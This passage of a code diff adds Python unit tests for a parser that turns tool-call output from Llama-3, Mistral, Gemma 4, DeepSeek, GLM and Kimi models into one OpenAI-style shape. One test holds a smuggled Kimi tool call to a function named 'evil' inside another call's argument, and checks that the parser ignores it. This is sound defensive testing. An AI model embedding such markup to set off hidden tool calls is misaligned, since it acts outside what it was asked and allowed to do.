+        # Magistral emits reasoning as a leading ``[THINK]...[/THINK]`` bracket block
+        # (not the ``<think>`` the reasoning channel renders). The streaming display
+        # strip must drop it so the raw chain-of-thought does not leak into the
+        # safetensors content; GGUF routes it to reasoning_content natively.
+        closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4."
+        assert strip_tool_markup_streaming(closed) == "The answer is 4."
+        assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True)
+        # Unclosed mid-stream reasoning is held from the marker on (nothing leaks, and
+        # the cleaned text only grows as the answer streams in after ``[/THINK]``).
+        assert strip_tool_markup_streaming("[THINK]still thinking") == ""
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The") == "The"
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The answer") == "The answer"
+        # A non-leading ``[THINK]`` is ordinary prose and is left untouched.
+        assert strip_tool_markup_streaming("hi [THINK] later") == "hi [THINK] later"
+
+
+class TestParserMultiFormat:
+    """Shared-parser coverage: every family's emission maps to the same OpenAI shape."""
+
+    # Llama-3
+
+    def test_llama3_python_tag_dot_call(self):
+        # Llama-3 built-in tools: <|python_tag|>NAME.call(k="v", ...).
+        import json
+
+        text = '<|python_tag|>brave_search.call(query="weather in Tokyo")'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "brave_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in Tokyo"}
+
+    def test_llama3_python_tag_dot_call_multi_arg(self):
+        import json
+
+        text = "<|python_tag|>get_weather.call(" 'location="Tokyo", units="celsius", days=5)'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius", "days": 5}
+
+    def test_llama3_python_tag_json_form(self):
+        import json
+
+        text = '<|python_tag|>{"name":"web_search","parameters":{"query":"hi","n":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "hi", "n": 5}
+
+    def test_llama3_python_tag_json_form_with_eom(self):
+        # Llama-3 emits ``<|eom_id|>`` after the JSON; must not break parsing.
+        import json
+
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"print(2+2)"}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "print(2+2)"}
+
+    def test_llama3_strip_markup_final(self):
+        text = '<|python_tag|>brave_search.call(query="x")'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_llama3_python_tag_json_form_non_scalar_args_skipped(self):
+        # Should NOT fabricate ``{"value": args}`` when the JSON form
+        # has a non-dict / non-string ``arguments`` value.
+        for bad in (
+            '<|python_tag|>{"name":"foo","arguments":42}',
+            '<|python_tag|>{"name":"foo","arguments":[1,2,3]}',
+            '<|python_tag|>{"name":"foo","arguments":null}',
+            '<|python_tag|>{"name":"foo","arguments":true}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # ── Llama-3.2 bare JSON ``custom_tools`` ─────────────────────
+
+    def test_llama3_2_bare_json_parameters(self):
+        # Llama-3.2-Instruct emits bare JSON directly as content; no
+        # <|python_tag|> prefix per its training template.
+        import json
+
+        text = '{"name":"web_search","parameters":{"query":"Tokyo weather"}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "Tokyo weather"}
+
+    def test_llama3_2_bare_json_arguments_key(self):
+        import json
+
+        text = '{"name":"add","arguments":{"a":1,"b":2}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"a": 1, "b": 2}
+
+    def test_llama3_2_bare_json_multi_call(self):
+        # Llama-3 may chain calls with ``; `` per training template.
+        text = '{"name":"a","parameters":{}}; {"name":"b","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_llama3_2_bare_json_with_eom_sentinel(self):
+        text = '{"name":"x","parameters":{"y":1}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_leading_sentinel_skipped(self):
+        # Sometimes prior <|eot_id|> leaks into the next turn.
+        text = '<|eot_id|>{"name":"x","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_plain_prose_does_not_fire(self):
+        # Defensive: must NOT fire on plain assistant prose.
+        text = "Hello world, how are you today?"
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_embedded_in_prose_does_not_fire(self):
+        # Defensive: JSON embedded in prose must NOT fire (parser is
+        # strict about content STARTING with `{`).
+        text = 'The tool result was: {"name":"foo"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_name_does_not_fire(self):
+        text = '{"result":"ok","data":[1,2,3]}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_args_does_not_fire(self):
+        text = '{"name":"x"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_args_not_dict_does_not_fire(self):
+        text = '{"name":"x","parameters":42}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_parameters_does_not_fire(self):
+        # Llama-3 spec: parameters must be a dict. Prose like
+        # ``{"name":"foo","parameters":"a sentence"}`` must NOT trigger.
+        text = '{"name":"foo","parameters":"this is a sentence"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_not_json_does_not_fire(self):
+        # OpenAI ``arguments`` may be a JSON-string of a dict, but a
+        # plain non-JSON string must not pass the guard.
+        text = '{"name":"foo","arguments":"not json"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_json_dict_fires(self):
+        # OpenAI shape: arguments is a JSON-encoded string of a dict.
+        text = '{"name":"foo","arguments":"{\\"q\\":\\"x\\"}"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+        # arguments stays as the original JSON-string.
+        assert result[0]["function"]["arguments"] == '{"q":"x"}'
+
+    def test_llama3_2_bare_json_string_arguments_json_non_dict_does_not_fire(self):
+        # JSON-string that parses to a list / scalar / null must NOT fire.
+        for bad in (
+            '{"name":"foo","arguments":"[1,2,3]"}',
+            '{"name":"foo","arguments":"\\"plain\\""}',
+            '{"name":"foo","arguments":"null"}',
+            '{"name":"foo","arguments":"42"}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # Mistral pre-v11
+
+    def test_mistral_pre_v11_array(self):
+        import json
+
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"query":"hello"},"id":"abc"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        # Mistral provides its own id; preserve it.
+        assert result[0]["id"] == "abc"
+        assert json.loads(result[0]["function"]["arguments"]) == {"query": "hello"}
+
+    def test_mistral_array_parameters_key_alias(self):
+        import json
+
+        # Array object keyed on ``parameters`` (not ``arguments``) must keep its
+        # payload, matching the JSON/XML paths and SGLang's base detector.
+        text = '[TOOL_CALLS] [{"name":"get_weather","parameters":{"city":"Paris"}}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Paris"}
+
+    def test_mistral_pre_v11_array_multi(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"x":1},"id":"id1"},'
+            '{"name":"b","arguments":{"y":2},"id":"id2"}]'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_mistral_pre_v11_unclosed_array(self):
+        # Closing ``]`` truncated -- parser must heal off individual objects.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"},"id":"id"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Mistral v11+
+
+    def test_mistral_v11_single(self):
+        # Magistral / Mistral Small 3.1: bare ``name{json}`` after trigger.
+        import json
+
+        text = '[TOOL_CALLS]add{"a":3.5,"b":4}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 3.5, "b": 4}
+
+    def test_mistral_v11_parallel(self):
+        # v11+ parallel: ``[TOOL_CALLS]a{...}[TOOL_CALLS]b{...}``.
+        text = '[TOOL_CALLS]add{"a":1}[TOOL_CALLS]sub{"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "add"
+        assert result[1]["function"]["name"] == "sub"
+
+    def test_mistral_v11_with_args_marker(self):
+        # Ministral / Mistral Large 3: ``[TOOL_CALLS]name[ARGS]{json}``.
+        import json
+
+        text = '[TOOL_CALLS]add[ARGS]{"a":1,"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 1, "b": 2}
+
+    def test_mistral_strip_markup_v11(self):
+        text = '[TOOL_CALLS]add{"a":1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_call_id_form(self):
+        # Mistral Small 3.2: ``[TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}``.
+        # The ``[CALL_ID]`` segment must be skipped, not treated as a stop
+        # (llama.cpp test-chat.cpp:4785 parses this to one call).
+        import json
+
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_mistral_call_id_form_parallel(self):
+        text = (
+            '[TOOL_CALLS]special_function[CALL_ID]000000001[ARGS]{"arg1": 1}'
+            "[TOOL_CALLS]special_function_with_opt[CALL_ID]000000002"
+            '[ARGS]{"arg1": 1, "arg2": 2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[1]["function"]["name"] == "special_function_with_opt"
+
+    def test_mistral_call_id_form_stripped(self):
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_think_reasoning_ignored(self):
+        # Magistral wraps reasoning in ``[THINK]...[/THINK]``. A ``[TOOL_CALLS]``
+        # inside the reasoning is chain-of-thought, not a real call; only the
+        # call after ``[/THINK]`` counts (llama.cpp test-chat.cpp:2285).
+        import json
+
+        text = (
+            '[THINK]Let me think about [TOOL_CALLS]fake[ARGS]{"x":1} '
+            'and more[/THINK][TOOL_CALLS]real_fn[ARGS]{"y":2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "real_fn"
+        assert json.loads(result[0]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_think_reasoning_no_real_call(self):
+        # Reasoning that merely mentions a tool call but does not emit one
+        # after ``[/THINK]`` yields no calls.
+        text = '[THINK]I might call [TOOL_CALLS]fake[ARGS]{"x":1}[/THINK]Done.'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_mistral_think_literal_in_argument_preserved(self):
+        # A literal ``[THINK]`` inside a real tool argument (after the call)
+        # must not be stripped or corrupt the parse.
+        import json
+
+        text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "explain the [THINK] token"}
+
+    # Gemma 4
+
+    def test_gemma4_simple_call(self):
+        import json
+
+        text = (
+            "<|tool_call>call:get_weather{"
+            'location:<|"|>Tokyo<|"|>,units:<|"|>celsius<|"|>}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius"}
+
+    def test_gemma4_with_primitives(self):
+        import json
+
+        text = (
+            "<|tool_call>call:set_pref{"
+            "enabled:true,attempts:5,threshold:1.5,nickname:null}<tool_call|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None}
+
+    def test_gemma4_nested_args(self):
+        # Gemma 4 nests dicts / lists with bare keys and ``<|"|>`` strings.
+        import json
+
+        text = (
+            "<|tool_call>call:search{"
+            'query:<|"|>foo<|"|>,filters:{site:<|"|>example.com<|"|>,recent:true},'
+            'tags:[<|"|>a<|"|>,<|"|>b<|"|>]}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "foo"
+        assert args["filters"] == {"site": "example.com", "recent": True}
+        assert args["tags"] == ["a", "b"]
+
+    def test_gemma4_multi_call(self):
+        text = "<|tool_call>call:a{x:1}<tool_call|><|tool_call>call:b{y:2}<tool_call|>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_gemma4_unclosed_does_not_raise(self):
+        # Truncated mid-stream; must not raise.
+        text = '<|tool_call>call:foo{x:<|"|>bar<|"|>'
+        result = parse_tool_calls_from_text(text)
+        assert isinstance(result, list)
+
+    def test_gemma4_strip_markup_final(self):
+        text = "<|tool_call>call:foo{x:1}<tool_call|>"
+        assert strip_tool_markup(text, final = True) == ""
+
+    # ── Gemma 4 wrapper-less (skip_special_tokens stripped) ───────────
+
+    def test_gemma4_bare_stripped_call(self):
+        # skip_special_tokens removes <|tool_call>/<tool_call|> and <|"|>,
+        # leaving a bare call:NAME{...} with an unquoted value.
+        import json
+
+        text = "call:web_search{query:weather in San Francisco right now}"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in San Francisco right now"}
+
+    def test_gemma4_bare_code_with_commas(self):
+        # A code value with commas must not truncate at the first comma.
+        import json
+
+        text = (
+            "call:python{code:def f(n):\n    a, b = 0, 1\n"
+            "    for _ in range(2, n+1):\n        a, b = b, a + b\n"
+            "    return b\n\nprint(f(30))}"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result[0]["function"]["name"] == "python"
+        code = json.loads(result[0]["function"]["arguments"])["code"]
+        assert "a, b = 0, 1" in code and "print(f(30))" in code
+
+    def test_gemma4_bare_quotes_normalized(self):
+        # The same value quoted vs unquoted must parse identically so the
+        # agentic loop can collapse a looping model's repeated calls.
+        import json
+
+        a = parse_tool_calls_from_text('call:web_search{query:"foo bar"}')
+        b = parse_tool_calls_from_text("call:web_search{query:foo bar}")
+        assert json.loads(a[0]["function"]["arguments"]) == {"query": "foo bar"}
+        assert json.loads(a[0]["function"]["arguments"]) == json.loads(
+            b[0]["function"]["arguments"]
+        )
+
+    def test_gemma4_bare_multi_arg(self):
+        import json
+
+        text = "call:web_search{query:pytorch latest, url:https://pytorch.org}"
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "pytorch latest", "url": "https://pytorch.org"}
+
+    def test_gemma4_bare_not_matched_in_prose(self):
+        # A word ending in "call:" must not trigger a bare tool call.
+        text = "I will recall:that the function{ } is helpful."
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_gemma4_bare_strip_markup_final(self):
+        text = "Here you go: call:web_search{query:weather today}"
+        assert "call:web_search" not in strip_tool_markup(text, final = True)
+
+    # ── Cross-format sentinels ────────────────────────────────────
+
+    def test_all_markers_in_tool_xml_signals(self):
+        # Streaming buffer wakes up on every emission marker.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            "[TOOL_CALLS]",
+            "<|tool_call>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+    def test_has_tool_signal_for_all_formats(self):
+        assert has_tool_signal('<|python_tag|>brave_search.call(q="x")')
+        assert has_tool_signal('[TOOL_CALLS] [{"name":"x"}]')
+        assert has_tool_signal('[TOOL_CALLS]add{"a":1}')
+        assert has_tool_signal("<|tool_call>call:foo{}<tool_call|>")
+
 
 # ────────────────────────────────────────────────────────────────────
 # run_safetensors_tool_loop
@@ -262,6 +1234,553 @@ def _make_loop(
     ), exec_fn
 
 
+class TestParserDeepSeek:
+    """DeepSeek R1 / V3 / V3.1 coverage. Markers use full-width pipes
+    (U+FF5C) and lower-one-eighth-block (U+2581). R1 wraps args in a
+    Markdown ``` ```json ``` ``` fence; V3 / V3.1 emit bare JSON."""
+
+    def test_r1_simple_call_with_code_fence(self):
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>function"
+            "<｜tool▁sep｜>special_function\n"
+            "```json\n"
+            '{"arg1": 1}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_r1_short_form_outer_marker(self):
+        # llama.cpp accepts ``<｜tool▁calls｜>`` as the short-form opener.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls｜>function"
+            "<｜tool▁sep｜>get_time\n"
+            "```json\n"
+            '{"city": "Paris"}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_bare_json(self):
+        # V3 / V3.1 omit the ``function`` prefix and the code fence.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_v3_1_multi_call_shares_envelope(self):
+        # Parallel calls share one outer envelope; each inner call has
+        # its own ``<｜tool▁call▁begin｜>...<｜tool▁call▁end｜>``.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_time"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_v3_1_with_reasoning(self):
+        # Reasoning <think>...</think> precedes the tool block.
+        text = (
+            "<think>I'm thinking</think>\n"
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_strict_rejects_unclosed_envelope(self):
+        # Envelope truncated mid-stream (no <｜tool▁calls▁end｜>): healed by
+        # default, rejected with Auto-Heal off.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+        )
+        assert len(parse_tool_calls_from_text(text)) == 1
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_v3_1_multi_call_recovers_when_first_end_marker_missing(self):
+        # First inner call omits its <｜tool▁call▁end｜>; the second must still be parsed.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["get_time", "get_weather"]
+
+    def test_v3_1_strict_recovers_after_missing_call_end(self):
+        # Strict mode (Auto-Heal off): the FIRST inner call is missing its <｜tool▁call▁end｜>
+        # terminator, so it is skipped -- but the parser must keep scanning and still return the ...
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "SF"}'
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"tz": "PST"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        # Auto-Heal keeps both; strict skips the truncated first, keeps the second.
+        assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == [
+            "get_weather",
+            "get_time",
+        ]
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_r1_strict_recovers_after_missing_close_fence(self):
+        # R1 form.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "function<｜tool▁sep｜>get_weather\n```json\n"
+            '{"city": "SF"}'
+            "function<｜tool▁sep｜>get_time\n```json\n"
+            '{"tz": "PST"}'
+            "\n```<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_deepseek_strip_markup(self):
+        text = (
+            "before "
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_deepseek_signal_wakes_streaming(self):
+        # The streaming buffer state machine must wake on the DeepSeek opener so the rest of the
+        # section is drained instead of leaked.
+        text = "<｜tool▁calls▁begin｜>..."
+        assert has_tool_signal(text)
+
+    def test_deepseek_short_opener_is_stripped(self):
+        # The short ``<｜tool▁calls｜>`` opener is parsed, so its markup must also be stripped (the
+        # strip patterns used to require ...calls_begin and left the short-opener markup leaking to ...
+        text = (
+            "before "
+            "<｜tool▁calls｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+
+class TestParserGLM:
+    """GLM 4.5 / 4.6 / 4.7 coverage. Marker collides with Qwen's
+    ``<tool_call>`` but the body shape is XML kv pairs instead of JSON,
+    so the dispatch order keeps both formats working."""
+
+    def test_glm_simple_call(self):
+        import json as _json
+
+        text = (
+            "<tool_call>web_search\n"
+            "<arg_key>query</arg_key>\n"
+            "<arg_value>weather Tokyo</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = _json.loads(result[0]["function"]["arguments"])
+        # Strings come through raw; the parser does not double-quote.
+        assert args == {"query": "weather Tokyo"}
+
+    def test_glm_mixed_types_decode_correctly(self):
+        # Per the chat_template.jinja, strings are emitted raw and non-strings are JSON-encoded.
+        import json as _json
+
+        text = (
+            "<tool_call>complex_function\n"
+            "<arg_key>name</arg_key>\n<arg_value>John Doe</arg_value>\n"
+            "<arg_key>age</arg_key>\n<arg_value>30</arg_value>\n"
+            "<arg_key>active</arg_key>\n<arg_value>true</arg_value>\n"
+            "<arg_key>score</arg_key>\n<arg_value>95.5</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"name": "John Doe", "age": 30, "active": True, "score": 95.5}
+
+    def test_glm_multi_call_back_to_back(self):
+        # GLM emits parallel calls as consecutive ``<tool_call>...
+        # </tool_call>`` blocks with no outer envelope.
+        text = (
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            "<tool_call>b\n<arg_key>y</arg_key>\n<arg_value>2</arg_value>\n</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_glm_unclosed_tool_call_does_not_lose_value(self):
+        # Truncated mid-stream (no </tool_call>) -- the parser must
+        # still surface what it found rather than dropping the call.
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n<arg_value>partial</arg_value>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_does_not_break_qwen_path(self):
+        # Real Qwen emission must still be parsed by the Qwen branch,
+        # not silently misrouted to GLM (the marker is shared).
+        text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_strip_markup(self):
+        text = (
+            "before "
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_glm_zero_arg_inline_call(self):
+        # GLM 4.7 emits a no-argument call inline as ``<tool_call>name</tool_call>`` (name followed
+        # straight by the close tag, no \n / <arg_key>).
+        import json as _json
+
+        text = "<tool_call>get_current_date</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert _json.loads(result[0]["function"]["arguments"]) == {}
+
+    def test_glm_zero_arg_call_in_parallel_batch(self):
+        # A no-arg call alongside a normal one must not make either vanish.
+        text = (
+            "<tool_call>get_current_date</tool_call>"
+            "<tool_call>get_weather\n<arg_key>city</arg_key>\n"
+            "<arg_value>Tokyo</arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_glm_string_value_whitespace_preserved(self):
+        # The template emits string args verbatim, so significant leading / trailing whitespace
+        # (code, diffs) must survive.
+        import json as _json
+
+        text = (
+            "<tool_call>run\n<arg_key>code</arg_key>\n"
+            "<arg_value>    indented code    </arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "    indented code    "}
+
+
+class TestParserKimi:
+    """Kimi K2 / Moonshot coverage. ASCII pipes only (NOT full-width).
+    Name arrives as ``functions.NAME:IDX``; the parser strips the
+    prefix and the index to recover the bare callable name while
+    preserving the full id for round-trip rendering."""
+
+    def test_kimi_simple_call(self):
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.special_function:0"
+            "<|tool_call_argument_begin|>"
+            '{"arg1": 1}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        # Bare name recovered; full id preserved verbatim.
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[0]["id"] == "functions.special_function:0"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_outer_tool_call_with_embedded_kimi_marker_parses_outer(self):
+        # A Qwen/Hermes <tool_call> whose argument contains literal Kimi markup (a user asking
+        # about that syntax) must execute the OUTER call, not the embedded marker via the ...
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":'
+            '"explain <|tool_call_begin|>functions.evil:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}'
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_genuine_kimi_call_without_envelope_still_parses(self):
+        # Control: a real Kimi call with no leading <tool_call> envelope must
+        # still go through the pre-pass.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.web_search:0"
+            '<|tool_call_argument_begin|>{"query":"x"}<|tool_call_end|>'
